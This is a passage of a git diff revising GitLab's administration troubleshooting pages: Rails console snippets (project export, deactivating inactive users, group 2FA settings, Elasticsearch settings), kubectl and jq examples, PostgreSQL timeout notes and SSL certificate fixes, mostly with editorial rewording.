assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -14,13 +14,13 @@ having an issue with GitLab, it is highly recommended that you check your [support options](https://about.gitlab.com/support/) first, before attempting to use this information. -CAUTION: **Caution:** +WARNING: Please note that some of these scripts could be damaging if not run correctly, or under the right conditions. We highly recommend running them under the guidance of a Support Engineer, or running them in a test environment with a backup of the instance ready to be restored, just in case. -CAUTION: **Caution:** +WARNING: Please also note that as GitLab changes, changes to the code are inevitable, and so some scripts may not work as they once used to. These are not kept up-to-date as these scripts/commands were added as they were found/needed. As @@ -308,7 +308,7 @@ pp p.statistics # compare with earlier values ### Recreate -CAUTION: **Caution:** +WARNING: This is a destructive operation, the Wiki will be empty. A Projects Wiki can be recreated by this command: @@ -374,6 +374,26 @@ Clear the cache: sudo gitlab-rake cache:clear ``` +### Export a repository + +It's typically recommended to export a project through [the web interface](../../user/project/settings/import_export.md#exporting-a-project-and-its-data) or through [the API](../../api/project_import_export.md). In situations where this is not working as expected, it may be preferable to export a project directly via the Rails console: + +```ruby +user = User.find_by_username('USERNAME') +project = Project.find_by_full_path('PROJECT_PATH') +Projects::ImportExport::ExportService.new(project, user).execute +``` + +If the project you wish to export is available at `https://gitlab.example.com/baltig/pipeline-templates`, the value to use for `PROJECT_PATH` would be `baltig/pipeline-templates`. + +If this all runs successfully, you will see output like the following before being returned to the Rails console prompt: + +```ruby +=> nil +``` + +The exported project will be located within a `.tar.gz` file in `/var/opt/gitlab/gitlab-rails/uploads/-/system/import_export_upload/export_file/`. + ## Repository ### Search sequence of pushes to a repository @@ -464,8 +484,9 @@ User.billable.count ::HistoricalData.max_historical_user_count ``` +Using cURL and jq (up to a max 100, see the [pagination docs](../../api/README.md#pagination)): + ```shell -# Using curl and jq (up to a max 100, see pagination docs https://docs.gitlab.com/ee/api/#pagination curl --silent --header "Private-Token: ********************" "https://gitlab.example.com/api/v4/users?per_page=100&active" | jq --compact-output '.[] | [.id,.name,.username]' ``` @@ -491,10 +512,22 @@ users.each do |user| end ``` +### Deactivate Users that have no recent activity + +```ruby +days_inactive = 90 +inactive_users = User.active.where("last_activity_on <= ?", days_inactive.days.ago) + +inactive_users.each do |user| + puts "user '#{user.username}': #{user.last_activity_on}" + user.deactivate! +end +``` + ### Block Users that have no recent activity ```ruby -days_inactive = 60 +days_inactive = 90 inactive_users = User.active.where("last_activity_on <= ?", days_inactive.days.ago) inactive_users.each do |user| @@ -565,6 +598,17 @@ group = Group.find_by_path_or_name('group-name') group.project_creation_level=0 ``` +### Modify group - disable 2FA requirement + +WARNING: +When disabling the 2FA Requirement on a subgroup, the whole parent group (including all subgroups) is affected by this change. + +```ruby +group = Group.find_by_path_or_name('group-name') +group.require_two_factor_authentication=false +group.save +``` + ## SCIM ### Fixing bad SCIM identities @@ -1015,3 +1059,55 @@ This will also refresh the cached usage ping displayed in the admin area ```ruby Gitlab::UsageData.to_json(force_refresh: true) ``` + +#### Generate and print + +Generates usage ping data in JSON format. + +```shell +rake gitlab:usage_data:generate +``` + +#### Generate and send usage ping + +Prints the metrics saved in `conversational_development_index_metrics`. + +```shell +rake gitlab:usage_data:generate_and_send +``` + +## Elasticsearch + +### Configuration attributes + +Open the rails console (`gitlab rails c`) and run the following command to see all the available attributes: + +```ruby +ApplicationSetting.last.attributes +``` + +Among other attributes, in the output you will notice that all the settings available in the [Elasticsearch Integration page](../../integration/elasticsearch.md), like: `elasticsearch_indexing`, `elasticsearch_url`, `elasticsearch_replicas`, `elasticsearch_pause_indexing`, etc. + +#### Setting attributes + +You can then set anyone of Elasticsearch integration settings by issuing a command similar to: + +```ruby +ApplicationSetting.last.update_attributes(elasticsearch_url: '<your ES URL and port>') + +#or + +ApplicationSetting.last.update_attributes(elasticsearch_indexing: false) +``` + +#### Getting attributes + +You can then check if the settings have been set in the [Elasticsearch Integration page](../../integration/elasticsearch.md) or in the rails console by issuing: + +```ruby +Gitlab::CurrentSettings.elasticsearch_url + +#or + +Gitlab::CurrentSettings.elasticsearch_indexing +``` diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md index efc8eaab198..e9dbbfbde12 100644 --- a/doc/administration/troubleshooting/group_saml_scim.md +++ b/doc/administration/troubleshooting/group_saml_scim.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -9,7 +9,7 @@ type: reference These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team’s collected knowledge. -Please refer to GitLab's [Group SAML](../../user/group/saml_sso/index.md) docs for information on the feature and how to set it up. +Please refer to the GitLab [Group SAML](../../user/group/saml_sso/index.md) docs for information on the feature and how to set it up. When troubleshooting a SAML configuration, GitLab team members will frequently start with the [SAML troubleshooting section](../../user/group/saml_sso/index.md#troubleshooting). @@ -22,7 +22,7 @@ This section includes relevant screenshots of the following example configuratio - [Azure Active Directory](#azure-active-directory) - [OneLogin](#onelogin) -CAUTION: **Caution:** +WARNING: These screenshots are updated only as needed by GitLab Support. They are **not** official documentation. If you are currently having an issue with GitLab, you may want to check your [support options](https://about.gitlab.com/support/). diff --git a/doc/administration/troubleshooting/img/network_monitor_xid.png b/doc/administration/troubleshooting/img/network_monitor_xid.png Binary files differindex 7fc2cf47ea0..fa64fd1509c 100644 --- a/doc/administration/troubleshooting/img/network_monitor_xid.png +++ b/doc/administration/troubleshooting/img/network_monitor_xid.png diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md index 8a4a0a4caac..67115ce31c0 100644 --- a/doc/administration/troubleshooting/index.md +++ b/doc/administration/troubleshooting/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Troubleshooting a GitLab installation diff --git a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md index 21fd183dfd0..07a7baf338b 100644 --- a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md +++ b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -11,7 +11,7 @@ This is a list of useful information regarding Kubernetes that the GitLab Suppor Team sometimes uses while troubleshooting. GitLab is making this public, so that anyone can make use of the Support team's collected knowledge -CAUTION: **Caution:** +WARNING: These commands **can alter or break** your Kubernetes components so use these at your own risk. If you are on a [paid tier](https://about.gitlab.com/pricing/) and are not sure how @@ -126,7 +126,7 @@ and they will assist you with any issues you are having. kubectl get pods | grep task-runner # enter it - kubectl exec -it <task-runner-pod-name> bash + kubectl exec -it <task-runner-pod-name> -- bash # open rails console # rails console can be also called from other GitLab pods @@ -139,10 +139,10 @@ and they will assist you with any issues you are having. /usr/local/bin/gitlab-rake gitlab:check # open console without entering pod - kubectl exec -it <task-runner-pod-name> /srv/gitlab/bin/rails console + kubectl exec -it <task-runner-pod-name> -- /srv/gitlab/bin/rails console # check the status of DB migrations - kubectl exec -it <task-runner-pod-name> /usr/local/bin/gitlab-rake db:migrate:status + kubectl exec -it <task-runner-pod-name> -- /usr/local/bin/gitlab-rake db:migrate:status ``` You can also use `gitlab-rake`, instead of `/usr/local/bin/gitlab-rake`. @@ -207,7 +207,7 @@ all Kubernetes resources and dependent charts: helm get manifest <release name> ``` -## Installation of minimal GitLab config via Minikube on macOS +## Installation of minimal GitLab configuration via Minikube on macOS This section is based on [Developing for Kubernetes with Minikube](https://docs.gitlab.com/charts/development/minikube/index.html) and [Helm](https://docs.gitlab.com/charts/installation/tools.html#helm). Refer diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md index b1042a9402b..c61a78624c3 100644 --- a/doc/administration/troubleshooting/linux_cheat_sheet.md +++ b/doc/administration/troubleshooting/linux_cheat_sheet.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,7 +13,7 @@ and it may be useful for users with experience with Linux. If you are currently having an issue with GitLab, you may want to check your [support options](https://about.gitlab.com/support/) first, before attempting to use this information. -CAUTION: **Caution:** +WARNING: If you are administering GitLab you are expected to know these commands for your distribution of choice. If you are a GitLab Support Engineer, consider this a cross-reference to translate `yum` -> `apt-get` and the like. @@ -23,7 +23,7 @@ on. Contributions are welcome to help add them. ## System Commands -### Distro Information +### Distribution Information ```shell # Debian/Ubuntu @@ -200,7 +200,7 @@ or you can build it from source if you have the Rust compiler. #### How to use the tool -First run the tool with no arguments other than the strace output file name to get +First run the tool with no arguments other than the strace output filename to get a summary of the top processes sorted by time spent actively performing tasks. You can also sort based on total time, # of syscalls made, PID #, and # of child processes using the `-S` or `--sort` flag. The number of results defaults to 25 processes, but @@ -303,7 +303,7 @@ nslookup example.com 1.1.1.1 whois <ip_address> | grep -i "orgname\|netname" # Curl headers with redirect -curl --head --location https://example.com +curl --head --location "https://example.com" ``` ## Package Management diff --git a/doc/administration/troubleshooting/log_parsing.md b/doc/administration/troubleshooting/log_parsing.md index 4e9e8cd591f..144aa0f6d3b 100644 --- a/doc/administration/troubleshooting/log_parsing.md +++ b/doc/administration/troubleshooting/log_parsing.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Parsing GitLab logs with `jq` @@ -143,16 +143,39 @@ jq 'select(."grpc.code" != null and ."grpc.code" != "OK")' current jq 'select(."grpc.time_ms" > 30000)' current ``` -#### Print top three projects by request volume and their three longest durations - -```shell -jq -s -r 'map(select(."grpc.request.glProjectPath" != null and ."grpc.request.glProjectPath" != "" and ."grpc.time_ms" != null)) | group_by(."grpc.request.glProjectPath") | sort_by(-length) | limit(3; .[]) | sort_by(-."grpc.time_ms") | "CT: \(length)\tPROJECT: \(.[0]."grpc.request.glProjectPath")\tDURS: \(.[0]."grpc.time_ms"), \(.[1]."grpc.time_ms"), \(.[2]."grpc.time_ms")"' current +#### Print top ten projects by request volume and their three longest durations + +```shell +jq --raw-output --slurp ' + map( + select( + ."grpc.request.glProjectPath" != null + and ."grpc.request.glProjectPath" != "" + and ."grpc.time_ms" != null + ) + ) + | group_by(."grpc.request.glProjectPath") + | sort_by(-length) + | limit(10; .[]) + | sort_by(-."grpc.time_ms") + | [ + length, + .[0]."grpc.time_ms", + .[1]."grpc.time_ms", + .[2]."grpc.time_ms", + .[0]."grpc.request.glProjectPath" + ] + | @sh' /var/log/gitlab/gitaly/current \ +| awk 'BEGIN { printf "%7s %10s %10s %10s\t%s\n", "CT", "MAX DURS", "", "", "PROJECT" } + { printf "%7u %7u ms, %7u ms, %7u ms\t%s\n", $1, $2, $3, $4, $5 }' ``` **Example output** ```plaintext -CT: 635 PROJECT: groupA/project1 DURS: 4292.269, 4228.853, 2885.548 -CT: 462 PROJECT: groupB/project5 DURS: 4368.981, 3623.553, 361.399 -CT: 455 PROJECT: groupC/project7 DURS: 387.295, 381.874, 373.988 + CT MAX DURS PROJECT + 206 4898 ms, 1101 ms, 1032 ms 'groupD/project4' + 109 1420 ms, 962 ms, 875 ms 'groupEF/project56' + 663 106 ms, 96 ms, 94 ms 'groupABC/project123' + ... ``` diff --git a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md index 475f3d56836..68c12117222 100644 --- a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md +++ b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Navigating GitLab via Rails console @@ -12,7 +12,7 @@ Thanks to this, we also get access to the amazing tools built right into Rails. In this guide, we'll introduce the [Rails console](../operations/rails_console.md#starting-a-rails-console-session) and the basics of interacting with your GitLab instance from the command line. -CAUTION: **Caution:** +WARNING: The Rails console interacts directly with your GitLab instance. In many cases, there are no handrails to prevent you from permanently modifying, corrupting or destroying production data. If you would like to explore the Rails console diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md index d22e76a505a..7052b68370c 100644 --- a/doc/administration/troubleshooting/postgresql.md +++ b/doc/administration/troubleshooting/postgresql.md @@ -1,22 +1,23 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # PostgreSQL -This page is useful information about PostgreSQL that the GitLab Support -Team sometimes uses while troubleshooting. GitLab is making this public, so that anyone -can make use of the Support team's collected knowledge. +This page contains information about PostgreSQL the GitLab Support team uses +when troubleshooting. GitLab makes this information public, so that anyone can +make use of the Support team's collected knowledge. -CAUTION: **Caution:** -Some procedures documented here may break your GitLab instance. Use at your own risk. +WARNING: +Some procedures documented here may break your GitLab instance. Use at your +own risk. -If you are on a [paid tier](https://about.gitlab.com/pricing/) and are not sure how -to use these commands, it is best to [contact Support](https://about.gitlab.com/support/) -and they will assist you with any issues you are having. +If you're on a [paid tier](https://about.gitlab.com/pricing/) and aren't sure +how to use these commands, [contact Support](https://about.gitlab.com/support/) +for assistance with any issues you're having. ## Other GitLab PostgreSQL documentation @@ -24,51 +25,57 @@ This section is for links to information elsewhere in the GitLab documentation. ### Procedures -- [Connect to the PostgreSQL console.](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database) +- [Connect to the PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database). -- [Omnibus database procedures](https://docs.gitlab.com/omnibus/settings/database.html) including +- [Omnibus database procedures](https://docs.gitlab.com/omnibus/settings/database.html) including: - SSL: enabling, disabling, and verifying. - Enabling Write Ahead Log (WAL) archiving. - Using an external (non-Omnibus) PostgreSQL installation; and backing it up. - Listening on TCP/IP as well as or instead of sockets. - Storing data in another location. - Destructively reseeding the GitLab database. - - Guidance around updating packaged PostgreSQL, including how to stop it happening automatically. + - Guidance around updating packaged PostgreSQL, including how to stop it + happening automatically. -- [More about external PostgreSQL](../postgresql/external.md) +- [Information about external PostgreSQL](../postgresql/external.md). -- [Running Geo with external PostgreSQL](../geo/setup/external_database.md) +- [Running Geo with external PostgreSQL](../geo/setup/external_database.md). -- [Upgrades when running PostgreSQL configured for HA.](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-gitlab-ha-cluster) +- [Upgrades when running PostgreSQL configured for HA](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-gitlab-ha-cluster). -- Consuming PostgreSQL from [within CI runners](../../ci/services/postgres.md) +- Consuming PostgreSQL from [within CI runners](../../ci/services/postgres.md). -- [Using Slony to update PostgreSQL](../../update/upgrading_postgresql_using_slony.md) - - Uses replication to handle PostgreSQL upgrades - providing the schemas are the same. - - Reduces downtime to a short window for swinging over to the newer version. +- [Using Slony to update PostgreSQL](../../update/upgrading_postgresql_using_slony.md). + - Uses replication to handle PostgreSQL upgrades if the schemas are the same. + - Reduces downtime to a short window for switching to the newer version. -- Managing Omnibus PostgreSQL versions [from the development docs](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions.html) +- Managing Omnibus PostgreSQL versions [from the development docs](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions.html). - [PostgreSQL scaling](../postgresql/replication_and_failover.md) - - including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting) `gitlab-ctl repmgr-check-master` (or `gitlab-ctl patroni check-leader` if you are using Patroni) and PgBouncer errors + - Including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting) + `gitlab-ctl repmgr-check-master` (or `gitlab-ctl patroni check-leader` if + you're using Patroni) and PgBouncer errors. -- [Developer database documentation](../../development/README.md#database-guides) - some of which is absolutely not for production use. Including: - - understanding EXPLAIN plans +- [Developer database documentation](../../development/README.md#database-guides), + some of which is absolutely not for production use. Including: + - Understanding EXPLAIN plans. ### Troubleshooting/Fixes -- [GitLab database requirements](../../install/requirements.md#database) including - - Support for MySQL was removed in GitLab 12.1; [migrate to PostgreSQL](../../update/mysql_to_postgresql.md) - - required extension `pg_trgm` - - required extension `btree_gist` +- [GitLab database requirements](../../install/requirements.md#database), + including + - Support for MySQL was removed in GitLab 12.1; [migrate to PostgreSQL](../../update/mysql_to_postgresql.md). + - Required extension: `pg_trgm` + - Required extension: `btree_gist` -- Errors like this in the `production/sidekiq` log; see: [Set default_transaction_isolation into read committed](https://docs.gitlab.com/omnibus/settings/database.html#set-default_transaction_isolation-into-read-committed): +- Errors like this in the `production/sidekiq` log; see: + [Set default_transaction_isolation into read committed](https://docs.gitlab.com/omnibus/settings/database.html#set-default_transaction_isolation-into-read-committed): ```plaintext ActiveRecord::StatementInvalid PG::TRSerializationFailure: ERROR: could not serialize access due to concurrent update ``` -- PostgreSQL HA - [replication slot errors](https://docs.gitlab.com/omnibus/settings/database.html#troubleshooting-upgrades-in-an-ha-cluster): +- PostgreSQL HA [replication slot errors](https://docs.gitlab.com/omnibus/settings/database.html#troubleshooting-upgrades-in-an-ha-cluster): ```plaintext pg_basebackup: could not create temporary replication slot "pg_basebackup_12345": ERROR: all replication slots are in use @@ -87,11 +94,11 @@ This section is for links to information elsewhere in the GitLab documentation. PANIC: could not write to file ‘pg_xlog/xlogtemp.123’: No space left on device ``` -- [Checking Geo configuration](../geo/replication/troubleshooting.md) including - - reconfiguring hosts/ports - - checking and fixing user/password mappings +- [Checking Geo configuration](../geo/replication/troubleshooting.md), including: + - Reconfiguring hosts/ports. + - Checking and fixing user/password mappings. -- [Common Geo errors](../geo/replication/troubleshooting.md#fixing-common-errors) +- [Common Geo errors](../geo/replication/troubleshooting.md#fixing-common-errors). ## Support topics @@ -99,9 +106,12 @@ This section is for links to information elsewhere in the GitLab documentation. References: -- [Issue #1 Deadlocks with GitLab 12.1, PostgreSQL 10.7](https://gitlab.com/gitlab-org/gitlab/-/issues/30528) -- [Customer ticket (internal) GitLab 12.1.6](https://gitlab.zendesk.com/agent/tickets/134307) and [Google doc (internal)](https://docs.google.com/document/d/19xw2d_D1ChLiU-MO1QzWab-4-QXgsIUcN5e_04WTKy4) -- [Issue #2 deadlocks can occur if an instance is flooded with pushes](https://gitlab.com/gitlab-org/gitlab/-/issues/33650). Provided for context about how GitLab code can have this sort of unanticipated effect in unusual situations. +- [Issue #1 Deadlocks with GitLab 12.1, PostgreSQL 10.7](https://gitlab.com/gitlab-org/gitlab/-/issues/30528). +- [Customer ticket (internal) GitLab 12.1.6](https://gitlab.zendesk.com/agent/tickets/134307) + and [Google doc (internal)](https://docs.google.com/document/d/19xw2d_D1ChLiU-MO1QzWab-4-QXgsIUcN5e_04WTKy4). +- [Issue #2 deadlocks can occur if an instance is flooded with pushes](https://gitlab.com/gitlab-org/gitlab/-/issues/33650). + Provided for context about how GitLab code can have this sort of + unanticipated effect in unusual situations. ```plaintext ERROR: deadlock detected @@ -119,17 +129,29 @@ Quoting from issue [#1](https://gitlab.com/gitlab-org/gitlab/-/issues/30528): > "If a deadlock is hit, and we resolve it through aborting the transaction after a short period, then the retry mechanisms we already have will make the deadlocked piece of work try again, and it's unlikely we'll deadlock multiple times in a row." -TIP: **Tip:** -In support, our general approach to reconfiguring timeouts (applies also to the HTTP stack as well) is that it's acceptable to do it temporarily as a workaround. If it makes GitLab usable for the customer, then it buys time to understand the problem more completely, implement a hot fix, or make some other change that addresses the root cause. Generally, the timeouts should be put back to reasonable defaults once the root cause is resolved. +NOTE: +In Support, our general approach to reconfiguring timeouts (applies also to the +HTTP stack) is that it's acceptable to do it temporarily as a workaround. If it +makes GitLab usable for the customer, then it buys time to understand the +problem more completely, implement a hot fix, or make some other change that +addresses the root cause. Generally, the timeouts should be put back to +reasonable defaults after the root cause is resolved. -In this case, the guidance we had from development was to drop deadlock_timeout and/or statement_timeout but to leave the third setting at 60s. Setting idle_in_transaction protects the database from sessions potentially hanging for days. There's more discussion in [the issue relating to introducing this timeout on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1053). +In this case, the guidance we had from development was to drop deadlock_timeout +or statement_timeout, but to leave the third setting at 60s. Setting +idle_in_transaction protects the database from sessions potentially hanging for +days. There's more discussion in [the issue relating to introducing this timeout on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1053). PostgresSQL defaults: - `statement_timeout = 0` (never) - `idle_in_transaction_session_timeout = 0` (never) -Comments in issue [#1](https://gitlab.com/gitlab-org/gitlab/-/issues/30528) indicate that these should both be set to at least a number of minutes for all Omnibus installations (so they don't hang indefinitely). However, 15s for statement_timeout is very short, and will only be effective if the underlying infrastructure is very performant. +Comments in issue [#1](https://gitlab.com/gitlab-org/gitlab/-/issues/30528) +indicate that these should both be set to at least a number of minutes for all +Omnibus GitLab installations (so they don't hang indefinitely). However, 15s +for statement_timeout is very short, and will only be effective if the +underlying infrastructure is very performant. See current settings with: @@ -147,5 +169,5 @@ It may take a little while to respond. {"idle_in_transaction_session_timeout"=>"1min"} ``` -NOTE: **Note:** +NOTE: These are Omnibus GitLab settings. If an external database, such as a customer's PostgreSQL installation or Amazon RDS is being used, these values don't get set, and would have to be set externally. diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md index d415aa0d980..e4082f87c7d 100644 --- a/doc/administration/troubleshooting/sidekiq.md +++ b/doc/administration/troubleshooting/sidekiq.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Troubleshooting Sidekiq diff --git a/doc/administration/troubleshooting/ssl.md b/doc/administration/troubleshooting/ssl.md index 996856521b7..d7bfd537eca 100644 --- a/doc/administration/troubleshooting/ssl.md +++ b/doc/administration/troubleshooting/ssl.md @@ -1,32 +1,36 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Troubleshooting SSL -This page contains a list of common SSL-related errors and scenarios that you may face while working with GitLab. -It should serve as an addition to the main SSL docs available here: +This page contains a list of common SSL-related errors and scenarios that you +may encounter while working with GitLab. It should serve as an addition to the +main SSL docs available here: -- [Omnibus SSL Configuration](https://docs.gitlab.com/omnibus/settings/ssl.html) -- [Self-signed certificates or custom Certification Authorities for GitLab Runner](https://docs.gitlab.com/runner/configuration/tls-self-signed.html) -- [Manually configuring HTTPS](https://docs.gitlab.com/omnibus/settings/nginx.html#manually-configuring-https) +- [Omnibus SSL Configuration](https://docs.gitlab.com/omnibus/settings/ssl.html). +- [Self-signed certificates or custom Certification Authorities for GitLab Runner](https://docs.gitlab.com/runner/configuration/tls-self-signed.html). +- [Manually configuring HTTPS](https://docs.gitlab.com/omnibus/settings/nginx.html#manually-configuring-https). ## Using an internal CA certificate with GitLab -After configuring a GitLab instance with an internal CA certificate, you might not be able to access it via various CLI tools. You may see the following symptoms: +After configuring a GitLab instance with an internal CA certificate, you might +not be able to access it by using various CLI tools. You may see experience the +following issues: - `curl` fails: ```shell - curl https://gitlab.domain.tld + curl "https://gitlab.domain.tld" curl: (60) SSL certificate problem: unable to get local issuer certificate More details here: https://curl.haxx.se/docs/sslcerts.html ``` -- Testing via the [rails console](../operations/rails_console.md#starting-a-rails-console-session) also fails: +- Testing by using the [rails console](../operations/rails_console.md#starting-a-rails-console-session) + also fails: ```ruby uri = URI.parse("https://gitlab.domain.tld") @@ -40,33 +44,36 @@ After configuring a GitLab instance with an internal CA certificate, you might n OpenSSL::SSL::SSLError (SSL_connect returned=1 errno=0 state=error: certificate verify failed (unable to get local issuer certificate)) ``` -- The error `SSL certificate problem: unable to get local issuer certificate` is shown when setting up a [mirror](../../user/project/repository/repository_mirroring.md#repository-mirroring) from this GitLab instance. +- The error `SSL certificate problem: unable to get local issuer certificate` + is displayed when setting up a [mirror](../../user/project/repository/repository_mirroring.md#repository-mirroring) + from this GitLab instance. - `openssl` works when specifying the path to the certificate: ```shell /opt/gitlab/embedded/bin/openssl s_client -CAfile /root/my-cert.crt -connect gitlab.domain.tld:443 ``` -If you have the problems listed above, add your certificate to `/etc/gitlab/trusted-certs` and run `sudo gitlab-ctl reconfigure`. +If you have the previously described issues, add your certificate to +`/etc/gitlab/trusted-certs`, and then run `sudo gitlab-ctl reconfigure`. ## X.509 key values mismatch error -After configuring your instance with a certificate bundle, NGINX may throw the -following error: +After configuring your instance with a certificate bundle, NGINX may display +the following error message: `SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch` -This error means that the server certificate and key you have provided do not -match. You can confirm this by running the following command and comparing the -output: +This error message means that the server certificate and key you have provided +don't match. You can confirm this by running the following command and then +comparing the output: ```shell openssl rsa -noout -modulus -in path/to/your/.key | openssl md5 openssl x509 -noout -modulus -in path/to/your/.crt | openssl md5 ``` -The following is an example of an md5 output between a matching key and certificate. Note the -matching md5 hashes: +The following is an example of an md5 output between a matching key and +certificate. Note the matching md5 hashes: ```shell $ openssl rsa -noout -modulus -in private.key | openssl md5 @@ -75,7 +82,8 @@ $ openssl x509 -noout -modulus -in public.crt | openssl md5 4f49b61b25225abeb7542b29ae20e98c ``` -This is an opposing output with a non-matching key and certificate which shows different md5 hashes: +This is an opposing output with a non-matching key and certificate which shows +different md5 hashes: ```shell $ openssl rsa -noout -modulus -in private.key | openssl md5 @@ -84,14 +92,16 @@ $ openssl x509 -noout -modulus -in public.crt | openssl md5 4f49b61b25225abeb7542b29ae20e98c ``` -If the two outputs differ like the above example, there is a mismatch between the certificate -and key. You should contact the provider of the SSL certificate for further support. +If the two outputs differ like the previous example, there's a mismatch between +the certificate and key. Contact the provider of the SSL certificate for +further support. ## Using GitLab Runner with a GitLab instance configured with internal CA certificate or self-signed certificate Besides getting the errors mentioned in [Using an internal CA certificate with GitLab](ssl.md#using-an-internal-ca-certificate-with-gitlab), -your CI pipelines may get stuck in `Pending` status. In the runner logs you may see the below error: +your CI pipelines may get stuck in `Pending` status. In the runner logs you may +see the following error message: ```shell Dec 6 02:43:17 runner-host01 gitlab-runner[15131]: #033[0;33mWARNING: Checking for jobs... failed @@ -100,23 +110,27 @@ https://gitlab.domain.tld/api/v4/jobs/request: Post https://gitlab.domain.tld/ap x509: certificate signed by unknown authority ``` -If you face similar problem, add your certificate to `/etc/gitlab-runner/certs` and restart the runner via `gitlab-runner restart`. +If you encounter a similar problem, add your certificate to `/etc/gitlab-runner/certs`, +and the restart the runner by running `gitlab-runner restart`. ## Mirroring a remote GitLab repository that uses a self-signed SSL certificate -**Scenario:** When configuring a local GitLab instance to [mirror a repository](../../user/project/repository/repository_mirroring.md) from a remote GitLab instance that uses a self-signed certificate, you may see the `SSL certificate problem: self signed certificate` error in the UI. +When configuring a local GitLab instance to [mirror a repository](../../user/project/repository/repository_mirroring.md) +from a remote GitLab instance that uses a self-signed certificate, you may see +the `SSL certificate problem: self signed certificate` error message in the +user interface. The cause of the issue can be confirmed by checking if: - `curl` fails: ```shell - $ curl https://gitlab.domain.tld + $ curl "https://gitlab.domain.tld" curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.haxx.se/docs/sslcerts.html ``` -- Testing via the Rails console also fails: +- Testing by using the Rails console also fails: ```ruby uri = URI.parse("https://gitlab.domain.tld") @@ -132,10 +146,15 @@ The cause of the issue can be confirmed by checking if: To fix this problem: -- Add the self-signed certificate from the remote GitLab instance to the `/etc/gitlab/trusted-certs` directory on the local GitLab instance and run `sudo gitlab-ctl reconfigure` as per the instructions for [installing 